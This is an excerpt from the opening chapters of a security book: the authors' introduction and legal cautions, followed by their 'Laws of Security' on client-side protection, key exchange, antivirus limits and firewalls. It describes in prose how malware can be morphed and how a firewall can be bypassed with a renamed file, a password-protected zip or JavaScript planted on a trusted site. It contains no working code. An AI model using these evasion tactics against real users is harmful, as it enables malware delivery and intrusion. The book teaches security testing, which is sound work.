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![]() Introduction
This book is intended to teach skills that will be useful for breaking into computers. If that statement shocks you, then you probably aren’t familiar with the legitimate reasons for hacking.These reasons can be security testing, consumer advocacy and civil rights, military interests, and “hacktivist” politics; however, in this book, we’re just going to cover the techniques rather than the reasons. The use of the word “hack” in the title of this book and throughout its pages is deliberate.We’re aware that this word means several different things to different people, so we’ll explain that in this chapter.We’ll also explain how the book is organized and what you might expect for the skill levels necessary to understand the techniques we write about.This chapter will also take a look at what the current climate is in regards to hacking, reverse-engineering, copy protection, and the law.We wouldn’t want to hand you a new toy without telling you about all the trouble you could get yourself into. What We Mean by “Hack” When I was a kid, the online world (as far as I knew) consisted of bulletin board systems (BBSs). On many a BBS, there were text files with a variation on the title of “How to Hack.” Nearly all of these files were useless, containing advice like “try these default passwords,” or “press Ctrl-C, and see if it will break out.” Calling this chapter “How to Hack” is my perverse way of paying homage to such text files.They were my inspiration—my inspiration to write a decent set of instructions on how to hack. So what do we mean by hack? We mean bypassing security measures on computer systems and networks.We also use the word hack as a noun to describe a clever or quick program.The thing is, in real life (in news stories, conversations, mailing lists, and so on) people will use the word hack or hacker without clarifying what they mean by it.You have to be able to tell their perspective from the context or reading between the lines.This book is no different. In addition, the authors sometimes use terms like script kiddie to mean something related to or derived from one of the meanings of hacker. If you don’t like the term that is being used for the activity in question, then the authors of this book would like to cordially invite you to mentally substitute a word you do like, and pretend that we wrote down the one you would have chosen. If you really want to read a philosophical discussion about the word, then please check out the Syngress Solutions Web site, and download an electronic www.syngress.com www.syngress.com copy of the book’s first edition. Chapter 1 in that edition is titled “Politics,” and in it, I go on and on about different meanings of the word hacker. In this edition I have spared you the discussion, and if you go out of your way to find the old one, then don’t say I didn’t warn you. Oh, and we’re hoping to avoid the usage of “hack” that means “bad writer.” Why Hack? As to why someone would want to know how to do this stuff, again I direct you to the same first-edition source (with the long discussion about “hacker”) if you want to hear the long version of all the reasons.The short version is: The best defense is a good offense. In other words, the only way to stop a hacker is to think like one—after all, if you don’t hack your systems, who will? These phrases sound trite but they embody the philosophy that we, the authors, feel is the best way to keep our own systems safe (or those of our employer, or customers, and so forth). How To Hack • Chapter 1 3 “We Don’t Hire Hackers” You may have heard various security companies make claims that they “don’t hire hackers.” Obviously, the implication here is that they mean criminals—reformed, current, or otherwise. The basic reason is that some people will refuse to do business with them if they are known to employ such individuals, figuring that the criminal can’t be trusted with the security of customers’ systems. In reality, this is just based on principle. Some folks don’t want to see criminal hackers get anything resembling a reward for their illegal activities. In some cases, companies feel that the opposite rationale applies: If the criminal in question has any amount of fame (or infamy) then they will likely get some press for hiring them. For this to have a positive effect depends on their business model, of course—if you’re talking about a managed services company, folks might be hesitant, but less so if the company performs penetration tests. Overall, it’s a mixed bag. Of course, the one question that hackers have for the companies who “don’t hire hackers” is: “How would you know?” Notes from the Underground… 4 Chapter 1 • How To Hack We feel that in order to tell how an attacker will perceive our defenses, we must be able to play the role of an attacker ourselves. Does this mean that in informing you of these techniques, we are also informing the bad guys? Sure.We believe in a level playing field, where all parties have the same techniques available to them.Anyway, how do you even tell the good guys and bad guys apart? Knowing What To Expect in the Rest of This Book Now that we’ve put the “how” and “why” to rest, let’s talk about what is in the rest of this book.The beginner, intermediate, and advanced ratings for each chapter refer to how much background you need for a given chapter. The three chapters of this book that follow this one are intended provide a little theoretical background. Chapter 2 explores our list of laws that govern how security works (or doesn’t).You’ll see how these laws can be applied to hacking techniques throughout the rest of the book. Chapter 3 describes types of attacks and how serious the potential damage is, and provides examples of each type. Chapter 4 describes the various methodologies that someone (such as yourself) might employ to go about discovering security problems.The first four chapters of this book should be suitable for readers of all skill levels.Advanced readers might want to skip these chapters if they’ve already got the theory down, but we ask that you at least skim the text and make sure there isn’t something new to you there.The “Solutions Fast Track” sections are good for this. We launch into the hacking techniques starting with Chapter 5. Chapter 5 covers the simplest hacking technique there is—diffing—which is simply comparing code before and after some action has taken place. It’s surprisingly useful. This chapter is suitable for beginners. Chapter 6 is about cryptography and the various means that exist for keeping information hidden or private. It investigates the amateurish cryptography attempts that we see in use in the world almost every day.We teach you how to recognize, and begin to break, very simple cryptographic-like encoding schemes. This chapter is beginner to intermediate (there is some introductory material for readers with little experience in the subject). Chapter 7 is about security problems caused by programs failing to properly deal with unexpected user input.This covers things like hacking a server through a faulty CGI program, getting SQL access through a Web form, or tricking scripts into giving up a shell. (Technically, buffer overflows and format string holes also www.syngress.com How To Hack • Chapter 1 5 fall under the heading of unexpected input, but they get their own chapters.) This chapter is intermediate to advanced, due to discussions of multiple programming languages, and the need to understand shell behavior. Chapters 8 and 9 teach how to write machine-language exploits to take advantage of buffer overflow and format string holes.These chapters are for advanced readers, but we did our very best to make sure the topics were approachable from the ground up. Some C and assembly knowledge is required. Chapter 10 describes the monitoring of network communications—sniffing— for hacking purposes. It shows some simple usage, describes from which protocols you can best obtain passwords, and even some basic sniffer programming.This chapter is beginner to intermediate. Chapter 11 introduces the topic of hijacking connections. Most of the time, this is an extension of sniffing, except now you will be acting as an active participant. The chapter also covers man-in-the-middle attacks. It is an intermediatelevel discussion. Chapter 12 discusses the concept of trust, and how to subvert it by spoofing. This chapter discusses a number of potential attacks, and is intermediate to advanced. Chapter 13 covers tunneling mechanisms for getting your traffic through unfriendly network environments (securely, to boot). It has heavy coverage of SSH and is intermediate to advanced. Chapter 14 is about hardware hacking.This is where the bits meet the molecules.This chapter covers the basics of how to hack hardware for the purpose of gaining a security advantage (think ripping secrets out of a secure device the hard way). It’s a beginner chapter, but actually implementing the techniques will be advanced. Chapter 15 covers viruses,Trojan horses, and worms—not only what they are and how they work, but also what some of the design decisions are, the various techniques they use, and what to expect in the future.This is an intermediatelevel chapter. Chapter 16 explores the way intrusion detection systems can be evaded, or made to miss an attack. It covers tricks that are effective from the network layer through application layers, and includes topics such as fragments, and exploit polymorphism. It’s intermediate to advanced (you will need to know TCP/IP fairly well). Chapter 17 discusses how to automate some of your tasks with the help of automated security review and attack tools (after we’ve taught you how to do them all manually, of course). It covers commercial and freeware tools. It provides www.syngress.com 6 Chapter 1 • How To Hack a nice preview of the next generation of tools that will not only determine vulnerability, but will go on to fully break into a system and leverage it as a jumping-off point. Last, but not least, in Chapter 18 we tell you how to go about reporting your security problem after you find it. Never let it be said that we don’t encourage responsible disclosure. Understanding the Current Legal Climate I Am Not A Lawyer (IANAL):This translates roughly to “I can’t really give you any relevant legal advice, and you really shouldn’t take any advice from me. If you do, don’t say I didn’t tell you not to. However, I’m going to force my opinion on you anyway.” This book will teach you techniques that, if used in the wrong way, will get you in trouble with the law. Me saying this is like a driving instructor saying,“I’m going to teach you how to drive; if you drive badly, you might run someone over.” In both cases, any harm done would be your fault. I use a very simple rule:“Do I have permission to do this to this machine?” If the answer is no, don’t do it. It’s wrong, and almost certainly illegal. Now, if you want things to be more complicated, there are all kinds of exceptions and so on. For example, in most places (no, not in yours, go ask a lawyer) port scanning is legal. It’s considered fairly intrusive and hostile, but it’s legal—except where it’s not. The simplest way to be safe used to be to do all your own hacking on your own network (and I mean your network at home, not at your employer’s, because you can get in trouble that way, too).You want to hack something that runs on Sun Sparc hardware? Go buy an old Sparc for $100 on eBay.You want to hack a multi-million dollar mainframe? Well, you’re probably out of luck there, sorry. One would tend to assume that it would be completely safe to perform hacks on your own equipment.Well, unfortunately, that’s not strictly true, not if you’re attacking someone else’s software. Many people think like I do, which is that if I’ve bought a copy of a program, I’ve got a natural right to do whatever I like with it on my own computer. Intellectual property laws disagree. In the United States, and by treaty in many other countries, it is illegal to circumvent a copy protection mechanism that is intended to protect copyrighted material.This is part of the Digital Millennium Copyright Act (DMCA.) Technically, it’s illegal to even do this in the privacy of your own home, but if you do, and keep it to www.syngress.com How To Hack • Chapter 1 7 yourself, it seems unlikely that you’ll have a problem. If you try to tell other people, though, watch out. As a safety warning, I’d like to share the extreme case of what can happen with these new laws. It involves a Russian software company, ElcomSoft Co.Ltd., that produces software that can do things like crack passwords, remove copy protection, and recover mangled files. Keep in mind that there is no law against reverse engineering in Russia. One of ElcomSoft’s programmers, Dmitry Sklyarov, came to DEF CON 9 in Las Vegas, and gave a presentation on Adobe’s eBook document format.The format contains some laughable security attempts. The next day, Dmitry was arrested on his way home and charged with “distributing a product designed to circumvent copyright protection measures.”This referred to his company’s product, which converted the eBook format into regular Adobe Acrobat .PDF files. Performing such a conversion by a buyer of one of these eBooks for themselves is (or, I guess, used to be) legal:You are (or were) permitted to make backups. To make a long story short, Dmitry was arrested on July 17, 2001 and was finally able to go home on December 31, 2001. Adobe had dropped their complaint, due to protests outside of their offices, but the U.S. government refused to drop their case.As it stands, Dmitry is still not off the hook entirely. By all reports, the techniques that he needed to figure out the “security” of the product were relatively simple.We cover decryption techniques of this nature in Chapter 6. Please be careful with the information you learn here. www.syngress.com 8 Chapter 1 • How To Hack Summary We mean for this book to teach you the dirty details of how to find and exploit security holes, using techniques such as sniffing, session hijacking, spoofing, breaking cryptographic schemes, evading IDSs, and even hardware hacking.This is not a book about security design, policies, architecture, risk management, or planning. If you thought it was, then somehow you got spoofed. All holes that are discovered should be published. Publicly reporting bugs benefits everyone—including yourself, as it may bestow some recognition. You should learn to hack because you need to know how to protect your network or that of your employer.You should also learn to hack because it’s fun. If you don’t agree with anything I’ve said in this chapter, or anything we say in this book, then great! The first thing hackers should be able to do is think for themselves.There’s no reason you should believe anything we tell you without investigating it for yourself. If you’d like to correct me, then go to the Solutions Web site for the book (www.syngress.com/solutions), locate my e-mail address, and e-mail me. Perhaps I’ll put your rebuttal up on the site. Q: Should I adopt the title “hacker” for myself? A: There’s two ways to look at this: One, screw what everyone else thinks, if you want to be a hacker, call yourself a hacker.Two, if you call yourself a hacker, then people are going to have a wide variety of reactions to you, owing to the ambiguity and large number of definitions for the word “hacker.” Some folks will think you just told them you’re a criminal. Some folks who think themselves hackers will insult you if they think you lack a proper skill level. Some won’t know what to think, but will then ask you if you could break into something for them… My advice is to build your skills first, and practice your craft. Ideally, let someone else bestow the title on you. www.syngress.com Frequently Asked Questions The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www.syngress.com/solutions and click on the “Ask the Author” form. How To Hack • Chapter 1 9 Q: Is it legal to write viruses,Trojans, or worms? A: Technically (in most places), yes. For now.That statement deserves some serious qualification.There are a number of virus authors who operate in the open, and share their work. So far, they seem to be unmolested. However, should one of these pieces of code get loose in the wild, and get significant attention from the media, then all bets are off. If you write viruses, be careful not to release them.You may also want to limit how well they spread as well, just as a precaution. At this point, it’s unclear what might happen to you if someone “extends” your work and releases it. Also pay attention to whether posting such material is against the policy of your Internet service provider, especially if you’re a student. It may not be illegal, but could easily get you kicked off your ISP, fired, or expelled. Q: Is there any problem with hacking systems that you’re responsible for? A: In general, if you’re authorized, no. Please take note of the if.When in doubt, get an okay in writing from the entity that owns the systems, such as a school or employer. Lots and lots of people who are responsible for the security of their systems hack them regularly.There is the occasional problem though, such as the example you can read at www.lightlink.com/spacenka/fors. |
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![]() Chapter 2 • The Laws of Security
Introduction One of the shortcuts that security researchers use in discovering vulnerabilities is a mental list of observable behaviors that tells them something about the security of the system they are examining. If they can observe a particular behavior, it is a good indication that the system has a trait that they would consider to be insecure, even before they have a chance to perform detailed tests. We call our list the Laws of Security.These laws are guidelines that you can use to keep an eye out for security problems while reviewing or designing a system. The system in this case might be a single software program, or it could be an entire network of computers, including firewalls, filtering gateways, and virus scanners.Whether defending or attacking such a system, it is important to understand where the weak points are. The Laws of Security will identify the weak points and allow you to focus your research on the most easily attackable areas.This chapter concerns itself with familiarizing you with these laws. For the most part, the rest of the book is concerned with providing detailed methods for exploiting the weaknesses that the laws expose. If you are already experienced in information security, you could skip this chapter. However, we recommend that you at least skim the list of laws to make sure that you know them all, and decide if you know how to spot them and whether you agree with them. Knowing the Laws of Security As we begin to work with the laws of security, we’ll start with a look at the laws that we have worked with and will discuss during the course of the book.We’ll discuss their implications and how to use them to discover weakness and exploitable problems.The laws of security in our list include: Client-side security doesn’t work. You cannot securely exchange encryption keys without a shared piece of information. Malicious code cannot be 100 percent protected against. Any malicious code can be completely morphed to bypass signature detection. Firewalls cannot protect you 100 percent from attack. www.syngress.com www.syngress.com Any intrusion detection system (IDS) can be evaded. Secret cryptographic algorithms are not secure. If a key isn’t required, you do not have encryption—you have encoding. Passwords cannot be securely stored on the client unless there is another password to protect them. In order for a system to begin to be considered secure, it must undergo an independent security audit. Security through obscurity does not work. There are a number of different ways to look at security laws. In this chapter, we’ve decided to focus on theory, or laws that are a bit closer to a mathematical rule. (At least, as close as we can get to that type of rule. Subjects as complex as these don’t lend themselves to formal proofs.) There’s another way to build a list of laws: we could make a list of not what is possible, but what is practical. Naturally, there would be some overlap—if it’s not possible, it’s also not practical. Scott Culp,Microsoft’s Security Response Center Manager, produced a top-ten list of laws from the point of view of his job and his customers. He calls these “The Ten Immutable Laws of Security.”They are: Law #1: If a bad guy can persuade you to run his program on your computer, it’s not your computer anymore. Law #2: If a bad guy can alter the operating system on your computer, it’s not your computer anymore. Law #3: If a bad guy has unrestricted physical access to your computer, it’s not your computer anymore. Law #4: If you allow a bad guy to upload programs to your Web site, it’s not your Web site any more. Law #5:Weak passwords trump strong security. Law #6: A machine is only as secure as the administrator is trustworthy. Law #7: Encrypted data is only as secure as the decryption key. Law #8: An out-of-date virus scanner is only marginally better than no virus scanner at all. Law #9: Absolute anonymity isn’t practical, in real life or on the Web. Law #10:Technology is not a panacea. The Laws of Security • Chapter 2 13 14 Chapter 2 • The Laws of Security The full list (with explanations for what each rule means) can be found at http://www.microsoft.com/technet/col...mlaws.asp.This list is presented to illustrate another way of looking at the topic, from a defender’s point of view. For the most part, you will find that these laws are the other side of the coin for the ones we will explore. Before we can work with the laws to discover potential problems, we need to have a working definition of what the laws are. In the following sections, we’ll look at the laws and what they mean to us in our efforts to secure our networks and systems. Client-Side Security Doesn’t Work In the first of our laws, we need to define a couple of concepts in regard to security. What, exactly, are we talking about when we begin to discuss “client-side?” If we were in a network (client-server) environment, we would define the client as the machine initiating a request for service and connection, and the server as the machine waiting for the request for service or connection or the machine able to provide the service.The term “client-side” in the network is used to refer to the computer that represents the client end, that over which the user (or the attacker) has control.The difference in usage in our law is that we call it client-side even if no network or server is involved.Thus, we refer to “client-side” security even when we’re talking about just one computer with a piece of software on a floppy disk.The main distinction in this definition is the idea that users (or attackers) have control over their own computers and can do what they like with them. Now that we have defined what “client-side” is, what is “client-side security?” Client-side security is some sort of security mechanism that is being enforced solely on the client.This may be the case even when a server is involved, as in a traditional client-server arrangement. Alternately, it may be a piece of software running on your computer that tries to prevent you from doing something in particular. The basic problem with client-side security is that the person sitting physically in front of the client has absolute control over it. Scott Culp’s Law #3 illustrates this in a more simplistic fashion: If a bad guy has unrestricted physical access to your computer, it’s not your computer anymore. The subtleties of this may take some contemplation to fully grasp.You cannot design a client-side security mechanism that users cannot eventually defeat, should they choose to do so. At best, you can make it challenging or difficult to defeat the mechanism.The problem is that because most software and hardware is mass-produced, one dedicated person who figures it out can generally www.syngress.com The Laws of Security • Chapter 2 15 tell everyone else in the world, and often will do so. Consider a software package that tries to limit its use in some way.What tools does an attacker have at his or her disposal? He or she can make use of debuggers, disassemblers, hex editors, operating system modification, and monitoring systems, not to mention unlimited copies of the software. What if the software detects that it has been modified? Remove the portion that detects modification.What if the software hides information somewhere on the computer? The monitoring mechanisms will ferret that out immediately. Is there such a thing as tamper-proof hardware? No. If an attacker can spend unlimited time and resources attacking your hardware package, any tamper proofing will eventually give way.This is especially true of mass-produced items.We can, therefore, generally say that client-side security doesn’t work. NOTE This law is utilized in Chapters 5 and 14. You Cannot Securely Exchange Encryption Keys without a Shared Piece of Information Although this law may seem obvious if you have worked with encryption, it presents a unique challenge in the protection of our identities, data, and information exchange procedures.There is a basic problem with trying to set up encrypted communications: exchanging session keys securely.These keys are exchanged between the client and server machines prior to the exchange of data, and are essential to the process. (See Chapter 6 for more information.) To illustrate this, let’s look at setting up an encrypted connection across the Internet.Your computer is running the nifty new CryptoX product, and so is the computer you’re supposed to connect to.You have the IP address of the other computer.You type it in and hit Connect.The software informs you that it has connected, exchanged keys, and now you’re communicating securely using 1024- bit encryption. Should you trust it? Unless there has been some significant crypto infrastructure set up behind it (and we’ll explain what that means later in this www.syngress.com 16 Chapter 2 • The Laws of Security chapter), you shouldn’t. It’s not impossible, and not necessarily even difficult, to hijack IP connections. (See Chapter 11.) The problem here is how do you know what computer you exchanged keys with? It might have been the computer you wanted. It might have been an attacker who was waiting for you to make the attempt, and who pretended to be the IP address you were trying to reach.The only way you could tell for certain would be if both computers had a piece of information that could be used to verify the identity of the other end. How do we accomplish this? A couple of methods come to mind. First, we could use the public keys available through certification authorities that are made available by Web browser providers. Second, we could use Secure Sockets Layer (SSL) authentication, or a shared secret key. All of these, of course, are shared pieces of information required to verify the sender of the information. This boils down to a question of key management, and we’ll examine some questions about the process. How do the keys get to where they are needed? Does the key distribution path provide a path for an attacker waiting to launch a man-in-the-middle (MITM) attack? How much would that cost in terms of resources in relation to what the information is worth? Is a trusted person helping with the key exchange? Can the trusted person be attacked? What methods are used to exchange the keys, and are they vulnerable? Let’s look at a couple of ways that keys are distributed and exchanged.When encryption keys are exchanged, some bit of information is required to make sure they are being exchanged with the right party and not falling victim to a MITM attack. Providing proof of this is difficult, since it’s tantamount to proving the null hypothesis, meaning in this case that we’d probably have to show every possible key exchange protocol that could ever be invented, and then prove that they are all individually vulnerable to MITM attacks. As with many attacks, it may be most effective to rely on the fact that people don’t typically follow good security advice, or the fact that the encryption end points are usually weaker than the encryption itself. Let’s look at a bit of documentation on how to exchange public keys to give us a view of one way that the key exchanges are handled: www.cisco.com/ univercd/cc/td/doc/product/software/ios113ed/113ed_cr/secur_c/scprt4/ scencryp.htm#xtocid211509. This is a document from Cisco Systems, Inc. that describes, among other things, how to exchange Digital Signature Standard (DSS) keys. DSS is a public/private key standard that Cisco uses for peer router authentication. Public/private key crypto is usually considered too slow for real-time encryption, www.syngress.com The Laws of Security • Chapter 2 17 so it’s used to exchange symmetric session keys (such as DES or 3DES keys). DES is the Data Encryption Standard, the U.S. government standard encryption algorithm, adopted in the 1970s. 3DES is a stronger version of it that links together three separate DES operations, for double or triple strength, depending on how it’s done. In order for all of this to work, each router has to have the right public key for the other router. If a MITM attack is taking place and the attacker is able to fool each router into accepting one of his public keys instead, then he knows all the session keys and can monitor any of the traffic. Cisco recognizes this need, and goes so far as to say that you “must verbally verify” the public keys.Their document outlines a scenario in which there are two router administrators, each with a secure link to the router (perhaps a terminal physically attached to the console), who are on the phone with each other. During the process of key exchange, they are to read the key they’ve received to the other admin.The security in this scenario comes from the assumptions that the two administrators recognize each other’s voices, and that it’s very difficult to fake someone else’s voice. If the administrators know each other well, and each can ask questions the other can answer, and they’re both logged on to the consoles of the router, and no one has compromised the routers, then this is secure, unless there is a flaw in the crypto. We’re not going to attempt to teach you how to mimic someone else’s voice, nor are we going to cover taking over phone company switches to reroute calls for administrators who don’t know each other. Rather, we’ll attack the assumption that there are two administrators and that a secure configuration mechanism is used. One would suspect that, contrary to Cisco’s documentation, most Cisco router key exchanges are done by one administrator using two Telnet windows. If this is the case and the attacker is able to play man-in-the-middle and hijack the Telnet windows and key exchange, then he can subvert the encrypted communications. Finally, let’s cover the endpoints. Security is no stronger than the weakest links. If the routers in our example can be broken into and the private keys recovered, then none of the MITM attacking is necessary. At present, it appears that Cisco does a decent job of protecting the private keys; they cannot be viewed normally by even legitimate administrators.They are, however, stored in memory. Someone who wanted to physically disassemble the router and use a circuit probe of some sort could easily recover the private key. Also, while there hasn’t been any public research into buffer overflows and the like in Cisco’s IOS, www.syngress.com 18 Chapter 2 • The Laws of Security I’m sure there will be someday. A couple of past attacks have certainly indicated that such buffer overflows exist. Another way to handle the exchange is through the use of SSL and your browser. In the normal exchange of information, if you weren’t asked for any information, then the crypto must be broken. How, then, does SSL work? When you go to a “secure”Web page, you don’t have to provide anything. Does that mean SSL is a scam? No—a piece of information has indeed been shared: the root certificate authority’s public key.Whenever you download browser software, it comes with several certificates already embedded in the installer.These certifi- cates constitute the bit of information required to makes things “secure.”Yes, there was an opportunity for a MITM attack when you downloaded the file. If someone were to muck with the file while it was on the server you downloaded it from or while it was in transit to your computer, all your SSL traffic could theoretically be compromised. SSL is particularly interesting, as it’s one of the best implementations of massmarket crypto as far as handling keys and such. Of course, it is not without its problems. If you’re interested in the technical details of how SSL works, check here: www.rsasecurity.com/standards/ssl/index.html. NOTE This law is utilized in Chapter 6. Malicious Code Cannot Be 100 Percent Protected against During the last couple of years, we have seen more and more attacks using weaknesses in operating systems and application code to gain entrance to our systems. Recently, we’ve seen a number of programs that were quickly modified and redeployed on the Internet and have resulted in widespread disruption of service and loss of data.Why is this? It is because we can’t protect 100 percent against malicious code when it changes as rapidly as it does now.We’ll take a look at some examples of this in the following section and discuss the anti-virus protection process as an example. www.syngress.com The Laws of Security • Chapter 2 19 If, like most people, you run a Windows-based operating system (and perhaps even if you have something else), you run anti-virus software. Perhaps you’re even diligent about keeping your virus definitions up to date.Are you completely protected against viruses? Of course not. Let’s examine what viruses and Trojans are, and how they find their way onto your computer.Viruses and Trojans are simply programs, each of which has a particular characteristic.Viruses replicate and require other programs to attach themselves to.Trojans pretend to have a different function than the one they actually have. Basically, they are programs that the programmer designed to do something you generally would not want to have happen if you were aware of their function. These programs usually get onto your computer through some sort of trickery.They pretend to be something else, they’re attached to a program you wanted, or they arrive on media you inserted without knowing it was infected. They can also be placed by a remote attacker who has already compromised your security. How does anti-virus software work? Before program execution can take place, the anti-virus software will scan the program or media for “bad things,” which usually consist of viruses,Trojans, and even a few potential hacker tools. Keep in mind, though, that your anti-virus software vendor is the sole determiner of what to check for, unless you take the time to develop your own signature files. Signature files are the meat of most anti-virus programs.They usually consist of pieces of code or binary data that are (you hope) unique to a particular virus or Trojan.Therefore, if you get a virus that does not appear in the database, your anti-virus software cannot help you. So why is the process so slow? In order to produce a signature file, an antivirus vendor has to get a copy of the virus or Trojan, analyze it, produce a signature, update the signature file (and sometimes the anti-virus program too) and publish the update. Finally, the end user has to retrieve and apply the update.As you might imagine, there can be some significant delays in getting new virus information to end users, and until they get it they are vulnerable. You cannot blindly run any program or download any attachment simply because you run anti-virus software. Not so long ago, anti-virus software could usually be relied upon, because viruses propagated so slowly, relying on people to move them about via diskettes or shared programs. Now, since so many computers connect to the Internet, that connectivity has become a very attractive carrier for viruses.They spread via Web pages, e-mail and downloads. Chances are much greater now that you will see a new virus before your anti-virus software vendor does. And don’t forget that a custom virus or Trojan may be written www.syngress.com 20 Chapter 2 • The Laws of Security specifically to target you at any time. Under those circumstances, your anti-virus software will never save you. Since we have a whole chapter on Trojans and viruses in this book, I will not go into a lot of detail here about how viruses might be written, or how to trick people into running Trojans. Rather, by way of demonstration I’d like to tell my favorite virus story. In April 2000, we saw the introduction of the “I Love You” virus via the Internet.This was another of the virus worms running in conjunction with Microsoft’s Outlook e-mail program, and had far greater impact because it sent itself to all of the e-mail recipients in the address book rather than just the first fifty, as did the earlier “Melissa” virus. However, despite the efforts of anti-virus vendors and others to contain the virus, it spread rapidly and spawned a number of copycat viruses in the short time after it was introduced.Why couldn’t it be contained more quickly? In the case of a number of my clients, it was because there were far too many employees who couldn’t resist finding out who loved them so much! Containment is not always the province of your security or implementations of protective software. Trojans and viruses actually could be protected against completely by users modifying their behavior.They probably wouldn’t get much done with a computer, though.They’d have to install only software obtained directly from a trusted vendor (however one would go about determining that.There have been several instances of commercial products shipping with viruses on the media).They’d probably have to forgo the use of a network and never exchange information with anyone else. And, of course, the computer would have to be physically secure. NOTE This law is utilized in Chapter 15. Any Malicious Code Can Be Completely Morphed to Bypass Signature Detection This law is fairly new to our discussions of security, and it has become much more prevalent over the past year. It is a new truth, since the attackers now have the ability to change the existing virus/Trojan/remote control application nearly as soon as it is released in the wild.This leads to the discussion of the new www.syngress.com The Laws of Security • Chapter 2 21 problem—variants. If we continue the discussion with the anti-virus example, we’ll find that if there is even a slight change in the virus code, there’s a chance that the anti-virus software won’t be able to spot it any longer.These problems used to be much less troublesome. Sure, someone had to get infected first, and their systems were down, but chances were good it wouldn’t be you. By the time it made its way around to you, your anti-virus vendor had a copy to play with, and you’d updated your files. This is no longer the case.The most recent set of viruses propagate much, much more quickly. Many of them use e-mail to ship themselves between users. Some even pretend to be you, and use a crude form of social engineering to trick your friends into running them.This year, we have seen the evidence of this over and over as the various versions of the Code Red virus were propagated throughout the world. As you recall, the original version was time and date functional, with a programmed attack at a U.S. government agency’s Web site. It was modified successfully by a number of different individuals, and led to a proliferation of attacks that took some time to overcome.Why was this so successful? The possibilities for change are endless, and the methods numerous. For instance, you can modify the original code to create a new code signature, compress the file, encrypt the file, protect it with a password, or otherwise modify it to help escape detection.This allows you to move past the virus scanners, firewalls, and IDS systems, because it is a new signature that is not yet recognized as a threat. NOTE This law is utilized in Chapters 15 and 16. www.syngress.com Want to Check that Firewall? There are an incredible number of freeware tools available to you for beginning your checks of vulnerability. Basic tools, of course, include the basic Transmission Control Protocol/Internet Protocol (TCP/IP) tools included with the protocol: ping, tracert, pathping, Telnet, and nslookup Tools & Traps… Continued 22 Chapter 2 • The Laws of Security Firewalls Cannot Protect You 100 Percent from Attack Firewalls can protect a network from certain types of attacks, and they provide some useful logging. However, much like anti-virus software, firewalls will never provide 100 percent protection. In fact, they often provide much less than that. First of all, even if a firewall were 100 percent effective at stopping all attacks that tried to pass through it, one has to realize that not all avenues of attack go through the firewall. Malicious employees, physical security, modems, and infected floppies are all still threats, just to name a few. For purposes of this discussion, we’ll leave threats that don’t pass through the firewall alone. Firewalls are devices and/or software designed to selectively separate two or more networks.They are designed to permit some types of traffic while denying others.What they permit or deny is usually under the control of the person who manages the firewall.What is permitted or denied should reflect a written security policy that exists somewhere within the organization. As long as something is allowed through, there is potential for attack. For example, most firewalls permit some sort of Web access, either from the inside out or to Web servers being protected by the firewall.The simplest of these is port filtering, which can be done by a router with access lists. A simple and basic filter for Internet Control Message Protocol (ICMP) traffic blocking it at the outside interface will stop responses from your system to another when an outsider pings your interface. If you want to see this condition, ping or use tracert on www.microsoft.com.You’ll time out on the connection. Is Microsoft down? Hardly—they just block ICMP traffic, among other things, in their defense setup. www.syngress.com can all give you a quick look at vulnerabilities. Along with these, I have a couple of favorites that allow for quick probes and checks of information about various IP addresses: SuperScan, from Foundstone Corporation: www.foundstone.com/knowledge/free_tools.html (click on SCANNER). Sam Spade, from SamSpade.org: www.samspade.org. These two tools, among many other very functional tools, will allow you to at least see some of the vulnerabilities that may exist where you are. The Laws of Security • Chapter 2 23 There are a few levels of protection a firewall can give for Web access. Simply configure the router to allow inside hosts to reach any machine on the Internet at TCP port 80, and any machine on the Internet to send replies from port 80 to any inside machine.A more careful firewall may actually understand the Hypertext Transfer Protocol (HTTP), perhaps only allowing legal HTTP commands. It may be able to compare the site being visited against a list of notallowed sites. It might be able to hand over any files being downloaded to a virus-scanning program to check. Let’s look at the most paranoid example of an HTTP firewall.You’ll be the firewall administrator.You’ve configured the firewall to allow only legal HTTP commands.You’re allowing your users to visit a list of only 20 approved sites. You’ve configured your firewall to strip out Java, JavaScript, and ActiveX.You’ve configured the firewall to allow only retrieving HTML, .gif, and .jpg files. Can your users sitting behind your firewall still get into trouble? Of course they can. I’ll be the evil hacker (or perhaps the security-ignorant Webmaster) trying to get my software through your firewall. How do I get around the fact that you only allow certain file types? I put up a Web page that tells your users to right-click on a .jpg to download it and then rename it to evil.exe once it’s on their hard drive. How do I get past the anti-virus software? Instead of telling your users to rename the file to .exe, I tell them to rename it to .zip, and unzip it using the password “hacker.” Your anti-virus software will never be able to check my password-protected zip file. But that’s okay, right? You won’t let your users get to my site anyway. No problem. All I have to do is break into one of your approved sites. However, instead of the usual obvious defacement, I leave it as is, with the small addition of a little JavaScript. By the time anyone notices that it has had a subtle change, I’ll be in. Won’t the firewall vendors fix these problems? Possibly, but there will be others.The hackers and firewall vendors are playing a never-ending game of catch-up. Since the firewall vendors have to wait for the hackers to produce a new attack before they can fix it, they will always be behind. On various firewall mailing lists, there have been many philosophical debates about exactly which parts of a network security perimeter comprise “the firewall,” but those discussions are not of use for our immediate purposes. For our purposes, firewalls are the commercial products sold as firewalls, various pieces of software that claim to do network filtering, filtering routers, and so on. Basically, our concern is how do we get our information past a firewall? It turns out that there is plenty of opportunity to get attacks past firewalls. Ideally, firewalls would implement a security policy perfectly. In reality, someone www.syngress.com 24 Chapter 2 • The Laws of Security has to create the firewall, and humans are far from perfect. One of the major problems with firewalls is that firewall administrators can’t very easily limit traffic to exactly the type they would like. For example, the policy may state that Web access (HTTP) is okay, but RealAudio use is not.The firewall admin should just shut off the ports for RealAudio, right? Problem is, the folks who wrote RealAudio are aware that this might happen, so they give the user the option to pull down RealAudio files via HTTP. In fact, unless you configure it away, most versions of RealAudio will go through several checks to see how they can access RealAudio content from a Web site, and it will automatically select HTTP if it needs to do so.The real problem here is that any protocol can be tunneled over any other one, as long as timing is not critical (that is, if tunneling won’t make it run too slowly). RealAudio does buffering to deal with the timing problem. The designers of various Internet “toys” are keenly aware of which protocols are typically allowed and which aren’t. Many programs are designed to use HTTP as either a primary or backup transport to get information through. There are probably many ways to attack a company with a firewall without even touching the firewall.These include modems, diskettes, bribery, breaking and entering, and so on. For the moment, we’ll focus on attacks that must traverse the firewall. Social Engineering One of the first and most obvious ways to traverse a firewall is trickery. E-mail has become a very popular mechanism for attempting to trick people into doing stupid things; the “Melissa” and “I Love You” viruses are prime examples. Other examples may include programs designed to exhibit malicious behavior when they are run (Trojans) or legitimate programs that have been “infected” or wrapped in some way (Trojans/viruses). As with most mass-mail campaigns, a low response rate is enough to be 